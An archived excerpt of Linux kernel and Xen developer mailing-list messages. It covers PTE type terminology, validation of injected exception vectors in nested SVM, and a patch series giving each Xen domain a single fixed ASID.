To: Muhammad Usama Anjum <usama.anjum@arm.com>
Cc: Anshuman Khandual <anshuman.khandual@arm.com>, =?UTF-8?B?SsO8cmdlbiBH?=
 =?UTF-8?B?cm/Dnw==?= <jgross@suse.com>, Jani Nikula
 <jani.nikula@linux.intel.com>, Joonas Lahtinen
 <joonas.lahtinen@linux.intel.com>, Rodrigo Vivi <rodrigo.vivi@intel.com>,
 Tvrtko Ursulin <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>, Greg
 Kroah-Hartman <gregkh@linuxfoundation.org>, "James E.J. Bottomley"
 <James.Bottomley@hansenpartnership.com>, Helge Deller <deller@gmx.de>,
 Stefano Stabellini <sstabellini@kernel.org>, Muchun Song
 <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>, Andrew Morton
 <akpm@linux-foundation.org>, "Liam R. Howlett" <liam@infradead.org>,
 Lorenzo Stoakes <ljs@kernel.org>, Will Deacon <will@kernel.org>, "Aneesh
 Kumar K.V" <aneesh.kumar@kernel.org>, Nick Piggin <npiggin@gmail.com>,
 Peter Zijlstra <peterz@infradead.org>, Andrey Ryabinin
 <ryabinin.a.a@gmail.com>, David Hildenbrand <david@kernel.org>, Pasha
 Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>, Kairui
 Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>, Masami
 Hiramatsu <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko
 <andrii@kernel.org>, Eduard Zingerman <eddyz87@gmail.com>, Kumar Kartikeya
 Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>, Arnaldo
 Carvalho de Melo <acme@kernel.org>, Namhyung Kim <namhyung@kernel.org>, SJ
 Park <sj@kernel.org>, "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan
 Kara <jack@suse.cz>, Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky
 <leon@kernel.org>, Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou
 <dennis@kernel.org>, Tejun Heo <tj@kernel.org>, Christoph Lameter
 <cl@gentwo.org>, Mike Rapoport <rppt@kernel.org>, Johannes Weiner
 <hannes@cmpxchg.org>, ziy@nvidia.com, pfalcato@suse.de,
 agordeev@linux.ibm.com, ryan.roberts@arm.com, linux-kernel@vger.kernel.org,
 intel-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org,
 linux-parisc@vger.kernel.org, xen-devel@lists.xenproject.org,
 linux-mm@kvack.org, linux-fsdevel@vger.kernel.org,
 linux-arch@vger.kernel.org, kasan-dev@googlegroups.com,
 linux-trace-kernel@vger.kernel.org, bpf@vger.kernel.org,
 linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 01/11] mm: introduce hw_pte_t for PTE table storage
Message-ID: <20260731092825.36992dc9@gandalf.local.home>
In-Reply-To: <9ac33752-b587-4901-b5f2-473e573d7ede@arm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
	<20260727164715.2866609-2-usama.anjum@arm.com>
	<6xah74eadjmo2bozyr62wcxo4hhpsiufx2mshh7tztyy2dzzps@63m327m7pl5u>
	<9ac33752-b587-4901-b5f2-473e573d7ede@arm.com>
X-Mailer: Claws Mail 3.20.0git84 (GTK+ 2.24.33; x86_64-pc-linux-gnu)
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Stat-Signature: bk4wphtnyr8oskxq6ok6poi7ogrp6zg4
X-Spam-Status: No, score=-3.50
X-Rspamd-Server: rspamout04
X-Rspamd-Queue-Id: E384117
X-Session-Marker: 726F737465647440676F6F646D69732E6F7267
X-Session-ID: U2FsdGVkX188VTzKisaRifdK5JzAhtUj+tNTYkibFXo=
X-HE-Tag: 1785504465-704596
X-HE-Meta: U2FsdGVkX1+okbaURBZ2Qkn+l9IgiK40Gqe8ZThpseNdxUoxO6+yJtshZ3puroffdGsnNQX9lyVqqMfMDNqtsaiMVrZRSqd7CxcOf+tlTFcxBWBx10qhJ57MkLj8ndzBOYoA/OODEfAwWEkK0Ynym/vN8RHly0+jRGqqJSDy6cHg7VOGub/UmsJX6TfoBSOwr0+39CvO+c3eZRPTPuO9wuZjY0AitKZFKa26poYwhlLhVPb0FYC1FMbtcEIPwcv0BUAY4FqESIdzLvKNozpw1fVotcfhrX1NJojLWeahTii05xgjJv7utljWLfUJzJrqYVN7s4pCcDgRjK7TriyixEP+/JmhkJIq3qIe3n8mNyiV8HHld6EP1z7IlvkGJKR3
X-purgate-ID: tlsNG-d62444/1785504496-BEC61757-59C4BEEC/0/0
X-purgate-type: clean
X-purgate-size: 1301

On Fri, 31 Jul 2026 11:19:32 +0100
Muhammad Usama Anjum <usama.anjum@arm.com> wrote:

> On 31/07/2026 6:49 am, Anshuman Khandual wrote:
> > On Mon, Jul 27, 2026 at 05:46:52PM +0100, Muhammad Usama Anjum wrote:  
> >> pte_t is used both for logical PTE values and for entries stored in a PTE
> >> table, so pte_t * does not distinguish a pointer to a copied value from a
> >> pointer to table storage.  
> > 
> > Should we rather call them as "Linux PTE" and "HW PTE" instead ?
> > 
> > Some like "Logical PTE" does not really sound very clear on what it represents.  
> Yeah, I should make distinction more visible in the cover letter.

Just as an outside observer, so take this with a grain of salt and feel
free to totally ignore it, the term "Logical" and "Physical" to me would be
that the Logical one is created by software and is not mapped to hardware,
whereas the "Physical" one would be backed by hardware.

Just using the terminology from LVM where there are Logical volumes and
Physical volumes.

But if that doesn't represent what you are trying to accomplish here, then
it is indeed not the appropriate terminology.

Again, feel free to ignore this comment, but I just wanted to give an
outside perspective of the terminology that I see.

Cheers,

-- Steve


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 14:30:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 14:30:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379173.1623948 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoFp-0004WW-37; Fri, 31 Jul 2026 14:30:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379173.1623948; Fri, 31 Jul 2026 14:30:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoFp-0004WP-01; Fri, 31 Jul 2026 14:30:29 +0000
Received: by outflank-mailman (input) for mailman id 1379173;
 Fri, 31 Jul 2026 14:30:27 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 1wpoFn-0004WJ-L2
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 14:30:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpoFm-00H80u-Jt
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 16:30:26 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a6cb167-bab6-0a2a0a5309dd-0a2a45048a42-24
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:30:18 +0200
Received: from [160.101.131.9] (helo=na1pdmzitismtp02.tibco.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a6cb179-b57f-0a2a45040019-a065830991ee-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:30:17 +0200
Received: from fedora.eng.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp02.tibco.com (Postfix) with ESMTP id 89848832FB23;
 Fri, 31 Jul 2026 10:28:30 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
To: xen-devel@lists.xenproject.org,
	teddy.astie@vates.tech
Cc: jbeulich@suse.com,
	andrew.cooper3@citrix.com,
	roger.pau@citrix.com,
	jason.andryuk@amd.com
Subject: Re: Re: [PATCH v2] nSVM: Check injected event consistency
Date: Fri, 31 Jul 2026 15:26:58 +0100
Message-ID: <20260731142700.2207713-1-abdelkareem.abdelsaamad@citrix.com>
X-Mailer: git-send-email 2.53.0
In-Reply-To: <1785247466.8631fc262581453bbf619ec5b2062170.19fa90a823a000e099@vates.tech>
References: <1785247466.8631fc262581453bbf619ec5b2062170.19fa90a823a000e099@vates.tech>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1785508218-506DAB50-273F4A3F/0/0
X-purgate-type: clean
X-purgate-size: 3546

On 28.07.2026 14:04, Teddy Astie wrote:
>On 16.07.2026 17:41, Abdelkareem Abdelsaamad wrote:
>> --- a/xen/arch/x86/hvm/svm/vmcb.c
>> +++ b/xen/arch/x86/hvm/svm/vmcb.c
>> @@ -320,6 +320,31 @@ void svm_vmcb_dump(const char *from, const struct vmcb_struct *vmcb)
>>       svm_dump_sel("  TR", &vmcb->tr);
>>   }
>>   
>> +static bool is_valid_svm_vmcb_injected_exception_vector(
>> +    const struct vmcb_struct *vmcb, uint8_t vmcb_injected_vector)
>> +{
>> +    return ( (vmcb_injected_vector == X86_EXC_DE) ||
>> +             (vmcb_injected_vector == X86_EXC_DB) ||
>> +             (vmcb_injected_vector == X86_EXC_BP) ||
>> +             (vmcb_injected_vector == X86_EXC_OF) ||
>> +             (vmcb_injected_vector == X86_EXC_BR) ||
>
>This particular exception is special. AMD APM states that this event is 
>"impossible" if the guest is in 64-bit mode and will cause 
>VMEXIT_INVALID in such case.
>
> > If the VMM attempts to inject an event that is impossible for the 
>guest mode (e.g., a #BR exception when the guest is in 64-bit mode), the 
>event injection will fail and no guest state instructions will be 
>executed; VMRUN will immediately exit with an error code of VMEXIT_INVALID.
>
>So this one likely want a additional check for hvm_guest_x86_mode() != 
>X86_MODE_64BIT.
>
>It looks like #OF has the same quirk (invalid in 64-bits mode).
>
I agree your point is valid. I will address in V3.
>Though I don't know if any other exception has a similar behavior though.
I have double-checked the APM vOL3(24594â€”Rev. 3.37â€”jULY 2025) regarding the
other exception vectors and instructions. Vector 4 (#OF) and vector 5 (#BR) are
unique because their triggering instructions BOUND and INTO are invalid and
disabled in 64-bit mode, making them structurally invalid. Other vectors remain
legal across the other modes. In V3, I will make use of hvm_guest_x86_mode to
correctly isolate these two cases.
>
>> +             (vmcb_injected_vector == X86_EXC_UD) ||
>> +             (vmcb_injected_vector == X86_EXC_NM) ||
>> +             (vmcb_injected_vector == X86_EXC_DF) ||
>> +             (vmcb_injected_vector == X86_EXC_TS) ||
>> +             (vmcb_injected_vector == X86_EXC_NP) ||
>> +             (vmcb_injected_vector == X86_EXC_SS) ||
>> +             (vmcb_injected_vector == X86_EXC_GP) ||
>> +             (vmcb_injected_vector == X86_EXC_PF) ||
>> +             (vmcb_injected_vector == X86_EXC_MF) ||
>> +             (vmcb_injected_vector == X86_EXC_AC) ||
>> +             (vmcb_injected_vector == X86_EXC_MC) ||
>> +             (vmcb_injected_vector == X86_EXC_XM) ||
>> +             (vmcb_injected_vector == X86_EXC_HV) ||
>> +             (vmcb_injected_vector == X86_EXC_SX) ||
>> +             (vmcb_get_sev_es(vmcb) && vmcb_injected_vector == X86_EXC_VC) );
>> +}
>
>I think using a switch here would help making things more readable, 
>especially if we need to add additional comparisons in specific cases 
>(SEV-ES for #VC, !64-bits for #BR and #OF, ...).
>
>I have in mind something like
>
>   switch (vmcb_injected_vector)
>   {
>   case X86_EXC_OF:
>   case X86_EXC_BR:
>       return hvm_guest_x86_mode(v) != X86_MODE_64BIT;
>
>   (all other special cases, ...)
>
>   case X86_EXC_UD:
>   (all other simple cases ...)
>       return true;
>
>   default:
>       return false;
>   }
Yes, I agree writing it with switch-case makes sense with this structure. I
will change to switch structure in V3.
>
>Teddy
--Abdelkareem


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 14:46:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 14:46:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379220.1623958 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoVJ-0006Q6-Cv; Fri, 31 Jul 2026 14:46:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379220.1623958; Fri, 31 Jul 2026 14:46:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoVJ-0006Pz-AF; Fri, 31 Jul 2026 14:46:29 +0000
Received: by outflank-mailman (input) for mailman id 1379220;
 Fri, 31 Jul 2026 14:46:27 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a3efe8000e099@swg.vates.tech>)
 id 1wpoVH-0006Pr-6S
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 14:46:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpoVG-009enR-JU
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 16:46:26 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a3efe8000e099@swg.vates.tech>)
 id 6a6cb52b-bab6-0a2a0a5309dd-0a2a450bd2b6-20
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:46:26 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a3efe8000e099@swg.vates.tech>)
 id 6a6cb541-b7e8-0a2a450b0019-b9ff1c239663-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:46:25 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fb8a3efe8000e099.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 31 Jul 2026 14:46:19 +0000
Received: from bazzite.gpn.vates.fr (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 7D2BF81F53;
 Fri, 31 Jul 2026 16:46:18 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=FdEEHXEwEp9GauUSnrbeP1nRZtiv7EadWHOhtK/7Cns=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:feedback-id;
 b=Wg0sKZhmUe0Juh71O6JElta9u9eEy7++QuL9Bpq6urO2vLISEz8XKkYyf3qtavsiyabOWGx/o
 b9RKBMqj2pP8efvipcE2FgfmWM0bjrqRz+ByZNCNtvjyP843igBY5/zueT9ARlqYTBGqZruEeNu
 sjXLjalQgv/WnSkehZFSs76x+ZImniJ+cNaO5EArUCphsRrWS0OtiSNrC/MUK6k6VdjRNTEVJzj
 wNXQmHs5ijkCzo23oa9p8zsYWKd4B1dwFMExCgrLoafCQ25vr9aM842hFbRHlKjwTH101lqnQtH
 6c5/jIWf3xqXY2xQOZYKXmRyLZqDdEwwXQSvTITjZ6gQ==
X-Zone-Loop: e51c7ab60ecbde8f34239a0082bfd5054d892b336314
x-campaign-type: default
x-transaction-id: f67949aa-7a8e-4b4d-b488-60e30dfa40a4
x-swg-uid: 01-e7a6bca7-e85b-4bf7-bea5-ec5baffb132a
X-Mailer: Sweego
Message-ID:
 <1785509179.8631fc262581453bbf619ec5b2062170.19fb8a3efe8000e099@vates.tech>
x-swg-bid: 1785509179.8631fc262581453bbf619ec5b2062170.19fb8a3efe8000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Jason Andryuk <jason.andryuk@amd.com>,
	Tim Deegan <tim@xen.org>
Subject: [RFC PATCH v2 0/5] x86: Use a single fixed ASID per domain
Date: Fri, 31 Jul 2026 16:19:56 +0200
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.18fe.15b9ae96df1ee42d.19fb8a3ed88.3a0074c82c1a8b75=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785509178760
X-purgate-ID: tlsNG-42698a/1785509186-194C39EA-56AF8FE8/0/0
X-purgate-type: clean
X-purgate-size: 4829

---=Part.18fe.15b9ae96df1ee42d.19fb8a3ed88.3a0074c82c1a8b75=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

(ASID can be replaced with VPID for Intel)

Currently in Xen=2E In order to perform a TLB flush for a guest, we just i=
ncrement
the ASID, which has the same effect as flushing the TLB=2E When we run out=
 of ASID,
we flush the entire TLB and start over=2E
This is done per pCPU, thus the ASID management is done on a per-pCPU basi=
s=2E

However, AMD SEV requires the ASID to be configured in advance and be uniq=
ue per
domain as it bound to the encryption key used for the domain=2E

This patch series propose a new ASID model where a fixed single ASID is at=
tributed
to the domain, thus all vCPU share such ASID=2E Moreover, the TLB for a vC=
PU needs to
be flushed in these conditions :
* the vCPU is migrated to another pCPU
(remote pCPU TLB may be out of sync or lack flushes made previously)
* a different vCPU of the same domain previously ran on this pCPU
(TLB entries comes from the previous vCPU, which may have a different CR3)

Albeit related to a SEV vulnerability, [1] gives more justifications on th=
e needs
of these rules for correctness=2E

It is also important for making hypervisor-side guest broadcast TLB flushi=
ng
realistic, as a single fixed ASID per domain allows a broacast TLB flush t=
o use
such ASID as target=2E

Moreover, AMD programmer manual also explicitely require this for correctl=
y virtualizing
INVLPGB in guests (through 090h:7 ("Enable INVLPGB/TLBSYNC=2E") in VMCB) :
> A guest that executes a legal INVLPGB that is not intercepted will have =
the requested
> ASID field replaced by the current ASID and the valid ASID bit set befor=
e doing the
> broadcast invalidation=2E  Because of its broadcast nature, the ASID fie=
ld must be global
> and all processors must allocate the same ASID to the same Guest for pro=
per operation=2E
> Hypervisors that do not support a global ASID must intercept the Guest u=
sage of INVLPGB,
> if enabled, for proper behavior=2E

In order to avoid making ASID management too complex, transition to only u=
sing a fixed ASID
per domain=2E If no ASID is available (e=2Eg out of ASID or ASID usage is =
diabled), we use ASID=3D1
as a placeholder (which is still a valid ASID), and always flush the TLB o=
n context switch
if the vcpu is using ASID=3D1=2E

Also add a way to specify a prefered minimum ASID, it is meant to be used =
later on to avoid
clobbering the low ASID space of SEV-ES and favor allocating ASIDs over th=
at space=2E

[1] TLB Poisoning Attacks on AMD Secure Encrypted Virtualization
https://dl=2Eacm=2Eorg/doi/epdf/10=2E1145/3485832=2E3485876

v1: https://lore=2Ekernel=2Eorg/xen-devel/cover=2E1776259594=2Egit=2Eteddy=
=2Eastie@vates=2Etech/

Teddy Astie (5):
  vmx: Refactor vpid_sync_vcpu_gva()
  vmx: Introduce vcpu single context VPID invalidation
  x86: Track vcpu context switches and introduce needs_tlb_flush field
  x86/hvm: Transition to needs_tlb_flush logic, use per-domain ASID
  hvm: Allow specifying a prefered asid minimum

 docs/misc/xen-command-line=2Epandoc      |   2 +-
 xen/arch/x86/domain=2Ec                  |  26 ++++
 xen/arch/x86/flushtlb=2Ec                |  22 +--
 xen/arch/x86/hvm/asid=2Ec                | 177 +++++++++++--------------
 xen/arch/x86/hvm/emulate=2Ec             |   2 +-
 xen/arch/x86/hvm/hvm=2Ec                 |  14 +-
 xen/arch/x86/hvm/nestedhvm=2Ec           |   7 +-
 xen/arch/x86/hvm/svm/asid=2Ec            |  67 +++++++---
 xen/arch/x86/hvm/svm/nestedsvm=2Ec       |   2 +-
 xen/arch/x86/hvm/svm/svm=2Ec             |  35 +++--
 xen/arch/x86/hvm/svm/svm=2Eh             |   4 -
 xen/arch/x86/hvm/vmx/vmcs=2Ec            |   6 +-
 xen/arch/x86/hvm/vmx/vmx=2Ec             |  66 ++++-----
 xen/arch/x86/hvm/vmx/vvmx=2Ec            |   4 +-
 xen/arch/x86/include/asm/domain=2Eh      |   6 +
 xen/arch/x86/include/asm/flushtlb=2Eh    |   7 -
 xen/arch/x86/include/asm/hvm/asid=2Eh    |  39 +++---
 xen/arch/x86/include/asm/hvm/domain=2Eh  |   1 +
 xen/arch/x86/include/asm/hvm/hvm=2Eh     |  15 +--
 xen/arch/x86/include/asm/hvm/svm=2Eh     |   5 +
 xen/arch/x86/include/asm/hvm/vcpu=2Eh    |  10 +-
 xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh |  25 +++-
 xen/arch/x86/mm/hap/hap=2Ec              |   9 +-
 xen/arch/x86/mm/p2m=2Ec                  |   6 +-
 xen/arch/x86/mm/paging=2Ec               |   2 +-
 xen/arch/x86/mm/shadow/multi=2Ec         |  12 +-
 26 files changed, 302 insertions(+), 269 deletions(-)

--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.18fe.15b9ae96df1ee42d.19fb8a3ed88.3a0074c82c1a8b75=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 14:48:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 14:48:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379228.1623967 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoXE-00078v-Nb; Fri, 31 Jul 2026 14:48:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379228.1623967; Fri, 31 Jul 2026 14:48:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoXE-00078o-KP; Fri, 31 Jul 2026 14:48:28 +0000
Received: by outflank-mailman (input) for mailman id 1379228;
 Fri, 31 Jul 2026 14:48:27 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a5db67000e099@swg.vates.tech>)
 id 1wpoXD-00078i-9d
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 14:48:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpoXC-003Mpg-In
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 16:48:26 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a5db67000e099@swg.vates.tech>)
 id 6a6cb59a-2eae-0a2a0a5409dd-0a2a4506ece0-38
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:48:26 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a5db67000e099@swg.vates.tech>)
 id 6a6cb5b9-195a-0a2a45060019-b9ff1c229fe9-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:48:26 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fb8a5db67000e099.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 31 Jul 2026 14:48:25 +0000
Received: from bazzite.gpn.vates.fr (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 9040C82040;
 Fri, 31 Jul 2026 16:48:24 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=yJ+VN37+/pdQ5OC+km6YRlY//u/jDZCfr0NxThUf+18=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=DCffqbhkJFfa6gfxZVpeaBbJb6I+WqwhTN/jMdPriP8q/mSJJP+qgRcotE21heC9jTRJCQ9JS
 vrzZJNzytM6/DUkYcHmcNAPPPAKC0s5KsfQXfu6HT12QiLvoUnGF+S6jwT51a4/9+aCdTzeBKhz
 qU8Us80ELkayihulEbtEY1XNaoWFq9jQUxO8GIvZ+SgJNKNUaSg2Zeh/RsznIJD00FyvklX1uix
 RwmsZDzHG9eloJNrHHCHtnP2EaITqsLvO+jRv3sFRfvXr1owiIAQR0IQr2BYlaaaWRnXcb9hwa3
 p7B6UlKPdnLTsyzwQOSTlyyMJoRVfXJZBwUKVpeqJgZg==
X-Zone-Loop: 5883793c859492cb0970e8ead640b63868f7c390caac
x-campaign-type: default
x-transaction-id: 73a6db4d-f263-4d9e-baac-1759b323db72
x-swg-uid: 01-d5432d90-1c80-49f0-8ebc-7b61b02a8cd4
X-Mailer: Sweego
Message-ID:
 <1785509305.8631fc262581453bbf619ec5b2062170.19fb8a5db67000e099@vates.tech>
x-swg-bid: 1785509305.8631fc262581453bbf619ec5b2062170.19fb8a5db67000e099
